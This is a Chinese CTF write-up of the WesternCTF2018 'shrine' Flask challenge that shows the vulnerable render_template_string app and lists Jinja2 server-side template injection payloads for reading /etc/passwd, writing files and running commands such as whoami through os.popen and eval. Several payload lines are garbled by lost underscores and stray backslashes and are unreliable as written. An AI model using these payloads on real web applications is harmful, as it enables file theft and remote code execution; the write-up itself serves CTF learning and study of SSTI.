flask之ssti [WesternCTF2018]shrine1

打开题目

整理一下,代码:

复制代码
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()
           @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

知识点:

1.ssti的漏洞实质

实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题

2.flask的一些特性

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符;

快速查找该引用对应的位置:

''.class.mro[2].subclasses().index(file)
文件读写:

''.class.mro[2].subclasses()[40]

//读取文件

''.class.mro[2].subclasses()[59].init.globals['builtins']['file']("/etc/passwd").read()

''.class.mro[2].subclasses()[40]("/etc/passwd").read()

将read()改为write()就可以进行写操作:

''.class.mro[2].subclasses()[40]("/root/桌面/test.txt", "a").write("123")

复制代码

命令执行

1.利用eval进行命令执行

''.class.mro[2].subclasses()[59].init.globals['builtins']['eval']('import("os").popen("whoami").read()')

2.利用commands实现命令执行

\].__class__.__base__.__subclasses__()\[59\].__init__.__globals__\['linecache'\].__dict__.values()\[12\].__dict__.values()\[144\]('whoami')} {}.__class__.__bases__\[0\].__subclasses__()\[59\].__init__.__globals__\['__builtins__'\]\['__import__'\]('os').popen('whoami').read() 直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果 知识点参考文章: [关于flask的SSTI注入\[通俗易懂\]-腾讯云开发者社区-腾讯云](https://cloud.tencent.com/developer/article/2124510 "关于flask的SSTI注入[通俗易懂]-腾讯云开发者社区-腾讯云") [flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客](https://blog.csdn.net/qq_59950255/article/details/123215817 "flask模板注入(ssti),一篇就够了_flask\"+\"ssti\"+\"总结-CSDN博客")

相关推荐
Gogo8161 小时前
BigInt 与 Number 的爱恨情仇,为何大佬都劝你“能用 Number 就别用 BigInt”?
后端
fuquxiaoguang1 小时前
深入浅出:使用MDC构建SpringBoot全链路请求追踪系统
java·spring boot·后端·调用链分析
前端摸鱼匠2 小时前
YOLOv8 环境配置全攻略:Python、PyTorch 与 CUDA 的和谐共生
人工智能·pytorch·python·yolo·目标检测
WangYaolove13142 小时前
基于python的在线水果销售系统(源码+文档)
python·mysql·django·毕业设计·源码
AALoveTouch2 小时前
大麦网协议分析
javascript·python
毕设源码_廖学姐2 小时前
计算机毕业设计springboot招聘系统网站 基于SpringBoot的在线人才对接平台 SpringBoot驱动的智能求职与招聘服务网
spring boot·后端·课程设计
ZH15455891312 小时前
Flutter for OpenHarmony Python学习助手实战:自动化脚本开发的实现
python·学习·flutter
xcLeigh3 小时前
Python入门:Python3 requests模块全面学习教程
开发语言·python·学习·模块·python3·requests
xcLeigh3 小时前
Python入门:Python3 statistics模块全面学习教程
开发语言·python·学习·模块·python3·statistics
YongCheng_Liang3 小时前
从零开始学 Python:自动化 / 运维开发实战(核心库 + 3 大实战场景)
python·自动化·运维开发